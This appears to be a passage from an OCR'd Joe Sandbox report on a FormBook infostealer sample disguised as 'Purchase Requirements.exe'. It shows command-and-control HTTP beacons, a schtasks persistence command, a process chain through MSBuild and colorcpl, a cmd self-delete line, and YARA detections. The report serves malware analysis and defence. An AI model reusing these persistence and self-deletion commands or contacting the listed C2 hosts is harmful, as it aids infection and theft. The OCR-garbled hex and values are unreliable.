oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex:1;dis
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Session ID Source IP
1 192.168.2.4

kBytes
Timestamp transferred
Aug 3, 2021 7522

19:27:40.513294935 CEST

Aug 3, 2021 7523
19:27:40.818365097 CEST

Session ID Source IP
2 192.168.2.4

kBytes
Timestamp transferred
Aug 3, 2021 7533

19:27:46.136246920 CEST

Aug 3, 2021 7534
19:27:46.284780979 CEST

Session ID Source IP
3 192.168.2.4

kBytes
Timestamp transferred
Aug 3, 2021 7535

19:27:51.383399963 CEST

Copyright Joe Security LLC 2021

Source Port

49767

Direction

ouT

Source Port

49769

Direction

ouT

Source Port
49770

Direction

ouT

Destination IP Destination Port Process

217.160.0.129 80 C:\Windows\explorer.exe

Data

GET /n8ba/?YDKPpTg0=+h7Xj+nXKVKialR46Fqlcf2yPuoKyU42UFvvfLIT79wfatbglizaH2e1li+WvrVB3N3gqO&F
Htx=1bcPI8IOPFatcZcp HTTP/1.1

Host: www.braun-mathematik.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Date: Tue, 03 Aug 2021 17:27:40 GMT

Server: Apache

X-Powered-By: PHP/7.4.21

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Link: <http://braun-mathematik.de/wp-json/>; rel="https://api.w.org/"

Data Raw: 34 65 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a Oa 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f
2d 6a 73 22 20 6¢ 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 0a 09 3c 68 65 61 64 3e 0a 0a 09 09 3c 6d 65 74 61 20 63 68
61 72 73 65 74 3d 22 0d Oa

Data Ascii: 4e<IDOCTYPE html><html class="no-js" lang="de-DE"><head><meta charset="

Destination IP Destination Port Process

162.241.85.227 80 C:\Windows\explorer.exe

Data

GET /n8ba/?YDKPpTg0=gDLflU22h4aNrBeOW4VXQ696ddSmWDeh619xRo3nz/h3BsDrL/4ZQIL6r35kaA0glkfe&F
Htx=1bcPI8IOPFatcZcp HTTP/1.1

Host: www.mariasmoworldwide.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Tue, 03 Aug 2021 17:27:46 GMT

Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Last-Modified: Wed, 24 Feb 2021 15:55:30 GMT

Accept-Ranges: bytes

Content-Length: 583

Vary: Accept-Encoding

Content-Type: text/html

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6¢ 65 3e 0a 20 20 20 20 20 20 20 20 2e 6¢
6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6¢ 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64
65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6¢ 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75
73 3a20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e
69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6¢ 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74
69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6¢ 65 66 74 3a 20 34 30 25 3b 20 7d Oa 20 20 20 20 20
2020 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 7
46174 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33
36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6¢ 61
6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42
45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3¢ 73 63 72 69 70 74 20 6¢ 61 6e 67 75 61 67 65 3d 22
4a 6176 61 73 637269 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65
63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e Oa
3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6¢ 6f 61 64 65 72 22 20 69 64 3d 22 73
6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-
radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; }
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } ~</style> <script lang
uage="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd
.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></htm|>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /n8ba/?YDKPpTg0=e60qEcsD/I81wBObMHsW7u7BjuDaTcxFYqyxe5BzlIGz/xRENT7a3L6d+84twOtNKT87&F
Hitx=1bcPI8IOPFatcZcp HTTP/1.1

Host: www.goldenstatelabradoodles.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred Direction Data
Aug 3, 2021 7536 IN HTTP/1.1 403 Forbidden
19:27:51.497190952 CEST Server: openresty

Date: Tue, 03 Aug 2021 17:27:51 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6104831f-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process
4 192.168.2.4 49771 74.208.236.212 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Aug 3, 2021 7538 ouT GET /n8ba/?YDKPpTg0=j7TP3kg+SFNkJILKMby/j4R6QZt01j85Usiv6 TCoiWa/2cyAi3BRS]jJegqO0IHS5IvzIL&FHtx=1bcPI8
19:27:56.692974091 CEST I0PFatcZecp HTTP/1.1

Host: www.mynjelderlaw.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Aug 3, 2021 7538 IN HTTP/1.1 302 Found
19:27:56.830612898 CEST Content-Type: text/html

Content-Length: 0

Connection: close

Date: Tue, 03 Aug 2021 17:27:56 GMT

Server: Apache

Cache-Control: no-cache

Location: http://cornicklaw.com/n8ba/?YDKPpTg0=j7TP3kg+SFNkJILKMby/j4R6QZt01j85Usiv6 TCoiWa/2cyAi3BRS
jJegqOIHS5IvzIL&FHtx=1bcPI8IOPFatcZcp

Session ID Source IP Source Port Destination IP  Destination Port Process
5 192.168.2.4 49772 160.153.136.3 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Aug 3, 2021 7540 ouT GET /n8ba/?YDKPpTg0=RqoVB/kRDotnM81a68VG CKADOSWVXhGBA2hw7fPCanVTcO/rOwYF2QFNLO8VRrR2bvla&F
19:28:01.928575993 CEST Htx=1bcPI8IOPFatcZcp HTTP/1.1

Host: www.narrowpathwc.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Aug 3, 2021 7540 IN HTTP/1.1 400 Bad Request
19:28:01.957283974 CEST Connection: close
Session ID Source IP Source Port Destination IP Destination Port Process
6 192.168.2.4 49773 34.102.136.180 80 C:\Windows\explorer.exe

kBytes
Timestamp transferred Direction Data
Aug 3, 2021 7541 ouT GET /n8ba/?YDKPpTg0=uqosldoxCubOoSnMdKEGpsNAFVDy7sF90Ir0VLFZOgMIxplbtWpRciavILjLWEVEWKyy&F
19:28:07.027829885 CEST Htx=1bcPI8IOPFatcZcp HTTP/1.1

Host: www.teamtacozzzz.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

Copyright Joe Security LLC 2021 Page 24 of 29



kBytes
Timestamp transferred

Aug 3, 2021 7542
19:28:07.141590118 CEST

Session ID
7

kBytes
Timestamp transferred
Aug 3, 2021 7542

19:28:12.376934052 CEST

Code Manipulations

Statistics

Behavior

)

System Behavior

Direction

IN

Source IP

192.168.2.4

Direction

ouT

Click to jump to process

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Tue, 03 Aug 2021 17:28:07 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6104856e-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>
<h1>Access Forbidden</h1></body></html>

Source Port Destination IP Destination Port

49774 184.168.131.241 80

Data

GET /n8ba/?YDKPpTg0=9vokcWjvDccQU4MCmO9VADFSZD35cLZafvOmNDf58+cuq+V2woxjt+NIJE4AWV9inYEz7b&F
Htx=1bcPI8IOPFatcZcp HTTP/1.1

Host: www.theredcymbalsco.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Analysis Process: Purchase Requirements.exe PID: 6556 Parent PID: 5812

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

19:26:01
03/08/2021
C:\Users\user\Desktop\Purchase Requirements.exe
true
‘C:\Users\user\Desktop\Purchase Requirements.exe'
0x500000
774656 bytes
5BD387D81D1D7D7FDADBEABEBBB46B1B
true
true
.Net C# or VB.NET
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Yara matches:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.693278760.00000000029DB000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.697236239.0000000003CE6000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000000.00000002.697236239.0000000003CE6000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.697236239.0000000003CE6000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

low

Show Windows behavior

Analysis Process: schtasks.exe PID: 6936 Parent PID: 6556

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:26:14

03/08/2021
C:\Windows\SysWOW&64\schtasks.exe
true

‘C:\Windows\System32\schtasks.exe' /Create /TN ‘Updates\UCNSWpQKXBXg' /XML 'C:\U
sers\user\AppData\Local\Temp\tmp47B.tmp’

0xf30000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: conhost.exe PID: 6992 Parent PID: 6936

General

Start time: 19:26:14

Start date: 03/08/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff724c50000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language
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Reputation:

high

Analysis Process: MSBuild.exe PID: 7032 Parent PID: 6556

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

19:26:15

03/08/2021

C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe

true

C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe

0x900000

261728 bytes

D62
true

true

1FD77BD585874F9686D3A76462EF1

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.769728719.00000000010C0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000007.00000002.769728719.00000000010C0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.769728719.00000000010C0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.769097230.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.769097230.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.769097230.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.769766552.00000000010F0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.769766552.00000000010F0000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.769766552.00000000010F0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3424 Parent PID: 7032

General

Start time: 19:26:19

Start date: 03/08/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Copyright Joe Security LLC 2021

false

C:\Windows\Explorer.EXE

0x7ff6fee60000

3933184 bytes
AD5296B280E8F522A8A897C96BABOE1D

true

true

C, C++ or other language

high
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File Activities

Show Windows behavior

Analysis Process: colorcpl.exe PID: 4592 Parent PID: 3424

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

19:26:51

03/08/2021
C:\Windows\SysWOW64\colorcpl.exe
true
C:\Windows\SysWOWS64\colorcpl.exe
0x60000

86528 bytes
746F3B5E7652EA0766BA10414D317981
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.920407109.00000000041B0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000F.00000002.920407109.00000000041B0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.920407109.00000000041B0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.919573194.0000000000210000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 0000000F.00000002.919573194.0000000000210000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.919573194.0000000000210000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.920195745.0000000002AF0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000F.00000002.920195745.0000000002AF0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.920195745.0000000002AF0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: cmd.exe PID: 5908 Parent PID: 4592
General
Start time: 19:26:56
Start date: 03/08/2021
Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
Commandline: /c del 'C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe’
Imagebase: 0x11d0000
File size: 232960 bytes
MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges:
Has administrator privileges:

Programmed in:
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true
true

C, C++ or other language
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Reputation: high

File Activities Show Windows behavior

Analysis Process: conhost.exe PID: 5572 Parent PID: 5908

General

Start time: 19:26:56

Start date: 03/08/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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